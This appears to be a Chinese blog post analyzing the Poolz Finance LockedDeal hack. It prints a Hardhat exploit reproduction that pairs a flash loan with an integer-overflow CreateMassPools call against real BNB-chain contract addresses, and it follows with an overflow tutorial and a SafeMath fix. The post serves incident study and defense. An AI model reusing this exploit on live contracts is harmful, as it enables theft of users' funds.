Poolz Finance 的 LockedDeal 合约遭到了攻击,损失约 50 万美元。攻击者调用了 LockedDeal 合约中存在漏洞的函数 CreateMassPools,并且在参数 _StartAmount 中触发了整数溢出的漏洞。
<!--StartFragment-->
被黑目标: Poolz Finance
事件描述: Poolz Finance 的 LockedDeal 合约遭到了攻击,损失约 50 万美元。攻击者调用了 LockedDeal 合约中存在漏洞的函数 CreateMassPools,并且在参数 _StartAmount 中触发了整数溢出的漏洞。攻击者除了获得了大量的 poolz token 以外还获得了其他代币。
损失金额: $ 500,000
攻击手法: 合约漏洞,整数溢出。
官方消息:
采用工具: HardHat
interface LockedDeal {
event NewPoolCreated(
uint256 PoolId,
address Token,
uint64 FinishTime,
uint256 StartAmount,
address Owner
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);
event PoolOwnershipTransfered(
uint256 PoolId,
address NewOwner,
address OldOwner
);
event TransferIn(uint256 Amount, address From, address Token);
event TransferInETH(uint256 Amount, address From);
event TransferOut(uint256 Amount, address To, address Token);
event TransferOutETH(uint256 Amount, address To);
function ApproveAllowance(
uint256 _PoolId,
uint256 _Amount,
address _Spender
) external;
function CreateMassPools(
address _Token,
uint64[] memory _FinishTime,
uint256[] memory _StartAmount,
address[] memory _Owner
) external returns (uint256, uint256);
function CreateNewPool(
address _Token,
uint64 _FinishTime,
uint256 _StartAmount,
address _Owner
) external returns (uint256);
function CreatePoolsWrtTime(
address _Token,
uint64[] memory _FinishTime,
uint256[] memory _StartAmount,
address[] memory _Owner
) external returns (uint256, uint256);
function GetFee() external view returns (uint16);
function GetMinDuration() external view returns (uint16);
function GetMyPoolsId() external view returns (uint256[] memory);
function GetPoolAllowance(uint256 _PoolId, address _Address)
external
view
returns (uint256);
function GetPoolData(uint256 _id)
external
view
returns (
uint64,
uint256,
address,
address
);
function GovernerContract() external view returns (address);
function IsPayble() external view returns (bool);
function PozFee() external view returns (uint256);
function PozTimer() external view returns (uint256);
function SetFee(uint16 _fee) external;
function SetMinDuration(uint16 _minDuration) external;
function SetPOZFee(uint16 _fee) external;
function SetPozTimer(uint256 _pozTimer) external;
function SplitPoolAmount(
uint256 _PoolId,
uint256 _NewAmount,
address _NewOwner
) external returns (uint256);
function SplitPoolAmountFrom(
uint256 _PoolId,
uint256 _Amount,
address _Address
) external returns (uint256);
function SwitchIsPayble() external;
function TransferPoolOwnership(uint256 _PoolId, address _NewOwner) external;
function WhiteListId() external view returns (uint256);
function WhiteList_Address() external view returns (address);
function WithdrawERC20Fee(address _Token, address _to) external;
function WithdrawETHFee(address _to) external;
function WithdrawToken(uint256 _PoolId) external returns (bool);
function isTokenFilterOn() external view returns (bool);
function isTokenWhiteListed(address _tokenAddress)
external
view
returns (bool);
function maxTransactionLimit() external view returns (uint256);
function name() external view returns (string memory);
function owner() external view returns (address);
function renounceOwnership() external;
function setGovernerContract(address _address) external;
function setMaxTransactionLimit(uint256 _newLimit) external;
function setWhiteListAddress(address _address) external;
function setWhiteListId(uint256 _id) external;
function swapTokenFilter() external;
function transferOwnership(address newOwner) external;
receive() external payable;
}
IWBNB constant wbnb = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 constant mnz = IERC20(0x861f1E1397daD68289e8f6a09a2ebb567f1B895C);
IERC20 constant wod = IERC20(0x298632D8EA20d321fAB1C9B473df5dBDA249B2b6);
IERC20 constant sip = IERC20(0x9e5965d28E8D44CAE8F9b809396E0931F9Df71CA);
IERC20 constant ecio = IERC20(0x327A3e880bF2674Ee40b6f872be2050Ed406b021);
IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
IUniswapV2Router constant pancakeRouter = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
LockedDeal constant poolzpool = LockedDeal(payable(0x8BfAA473a899439d8E07BF86a8C6cE5De42fE54B));
function dodoFlashLoan(
address flashLoanPool,
uint amountIn,
address token
) external onlyByOwner {
bytes memory data = abi.encode(flashLoanPool, amountIn, token);
address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();
if(flashLoanBase == token) {
IDODO(flashLoanPool).flashLoan(amountIn, 0, address(this), data);
} else {
IDODO(flashLoanPool).flashLoan(0, amountIn, address(this), data);
}
}
function DPPFlashLoanCall(address, uint256, uint256, bytes memory data) external {
(address flashLoanPool, uint amountIn, address token)
= abi.decode(data, (address, uint, address));
console.log(unicode"闪电贷攻击开始");
hackMnz();
hackSip();
hackWod();
hackEcio();
console.log(unicode"闪电贷攻击结束之后WBNB余额:");
console.log(wbnb.balanceOf(address(this)));
wbnb.transfer(flashLoanPool, amountIn);
}
function hackMnz() internal {
console.log(unicode"攻击mnz之前的WBNB余额:");
console.log(wbnb.balanceOf(address(this)));
address[] memory swapPath = new address[](3);
wbnb.withdraw(1e18);
swapPath[0] = address(wbnb);
swapPath[1] = address(busd);
swapPath[2] = address(mnz);
pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);
mnz.approve(address(poolzpool), type(uint256).max);
sip.approve(address(poolzpool), type(uint256).max);
ecio.approve(address(poolzpool), type(uint256).max);
wod.approve(address(poolzpool), type(uint256).max);
mnz.approve(address(pancakeRouter), type(uint256).max);
sip.approve(address(pancakeRouter), type(uint256).max);
ecio.approve(address(pancakeRouter), type(uint256).max);
wod.approve(address(pancakeRouter), type(uint256).max);
uint256 mnz_balance = mnz.balanceOf(address(poolzpool));
uint256 overflow_data;
overflow_data = type(uint256).max - mnz_balance + 2;
uint64[] memory begintime = new uint64[](2);
begintime[0] = uint64(block.timestamp);
begintime[1] = uint64(block.timestamp);
uint256[] memory transfer_data = new uint256[](2);
transfer_data[0] = overflow_data;
transfer_data[1] = mnz_balance;
address[] memory owner_addr = new address[](2);
owner_addr[0] = address(this);
owner_addr[1] = address(this);
uint256 firstPoolId;
uint256 lastPoolId;
( firstPoolId, lastPoolId) = poolzpool.CreateMassPools(
address(mnz),
begintime,
transfer_data,
owner_addr
);
poolzpool.WithdrawToken(lastPoolId);
uint256 mnz_number = mnz.balanceOf(address(this));
console.log(unicode"mnz余额:");
console.log(mnz_number);
sellmnz();
console.log(unicode"卖出mnz之后WBNB余额:");
console.log(wbnb.balanceOf(address(this)));
}
fork的区块号:24147212
可以看到,借款了1wbnb,到攻击之后的余额是141.8974wbnb,还款1wbnb后,赚了140.8974wbnb。我fork测试的区块号比较靠前,可能金额看起来与黑客事件损失的金额不一致。
通常来说,在编程语言里由算数问题导致的整数溢出漏洞屡见不鲜,在区块链的世界里,智能合约的Solidity语言中也存在整数溢出问题,整数溢出一般又分为上溢和下溢,在智能合约中出现整数溢出的类型包括三种:
在Solidity语言中,变量支持的整数类型通常以8递增,支持从uint8到uint256,以及int8到int256。例如,一个 uint8类型 ,只能存储在范围 0到2的8次方-1,也就是[0,255] 的数字,一个 uint256类型 ,只能存储在范围 0到2的256次方-1的数字。
在以太坊虚拟机(EVM)中为整数指定固定大小的数据类型,而且是无符号的,这意味着在以太坊虚拟机中一个整型变量只能有一定范围的数字表示,不能超过这个指定的范围。
如果试图存储 256这个数字 到一个 uint8类型中,这个256数字最终将变成 0,所以整数溢出的原理其实很简单,存储最大的数+1就会变成最小的数。
8 位无符整数 255 在内存中占据了 8bit 位置,若再加上 1 ,整体会因为进位而导致整体翻转为 0,最后导致原有的 8bit 表示的整数变为 0。
上面说明了智能合约中整数上溢的原理,同样整数下溢也是一样,如 (uint8类型的)0 - 1 = (uint8类型的)255。
溢出简单实例演示,这里以uint256类型演示:
pragma solidity ^0.4.25;
contract POC{
//加法溢出
//如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
function add_overflow() returns (uint256 _overflow) {
uint256 max = 2**256 - 1;
return max + 1;
}
//减法溢出
//如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
function sub_underflow() returns (uint256 _underflow) {
uint256 min = 0;
return min - 1;
}
//乘法溢出
//如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
function mul_overflow() returns (uint256 _underflow) {
uint256 mul = 2**255;
return mul * 2;
}
}
加法溢出
这里将uint256 类型的max变量设置为它的最大值(2**256 - 1),然后在给max变量加上1,导致上溢,最终结果max的值输出为0。
减法溢出
这里将uint256 类型的变量min设置为它的最小值(0),如果在减去一个1,导致下溢,最后min的值便会变成一个很大的值,即2**256-1,也就是uin256类型的最大值。
乘法溢出
这里将uint256 类型的mul变量设置为2**255,然后在给mul变量乘以2,变成2**256,超过最大值导致上溢,最终结果mul的值输出为0。
通过例子我们可以看到uint256当取最大整数值,上溢之后直接返回值为0,uint256当取0下溢之后直接返回值为2^256-1。这是solidity中整数溢出场景的常规情况,其他类型如uint8等也是一样的原理。
整数溢出防护
为了防止整数溢出的发生,一方面可以在算术逻辑前后进行验证,另一方面可以直接使用 OpenZeppelin 维护的一套智能合约函数库中的 SafeMath 来处理算术逻辑。
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract POC{
using SafeMath for uint256;
//加法溢出
//如果uint256 类型的变量达到了它的最大值(2**256 - 1),如果在加上一个大于0的值便会变成0
function add_overflow() returns (uint256 _overflow) {
uint256 max = 2**256 - 1;
return max.add(1);
}
//减法溢出
//如果uint256 类型的变量达到了它的最小值(0),如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
function sub_underflow() returns (uint256 _underflow) {
uint256 min = 0;
return min.sub(1);
}
//乘法溢出
//如果uint256 类型的变量超过了它的最大值(2**256 - 1),最后它的值就会回绕变成0
function mul_overflow() returns (uint256 _underflow) {
uint256 mul = 2**255;
return mul.mul(2);
}
}
通过使用Safemath封装的加法,减法,乘法接口,使用assert方法进行判断,可以避免产生溢出漏洞。
对于 Solidity 0.8.0 以上的版本,官方已经修复了这个问题。那么它到底是如何修复的?将要溢出时会发生什么来防止溢出呢?
实测,Solidity 0.8 以上的版本发生运行时溢出会直接 revert。
原来,修复的方式就是不允许溢出。int256 足够大,只要保证无法被黑客利用这一点凭空创造收益,我们就成功了。
本文只针对安全来讲解,不崇拜、不推崇漏洞攻击。
<!--EndFragment-->
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!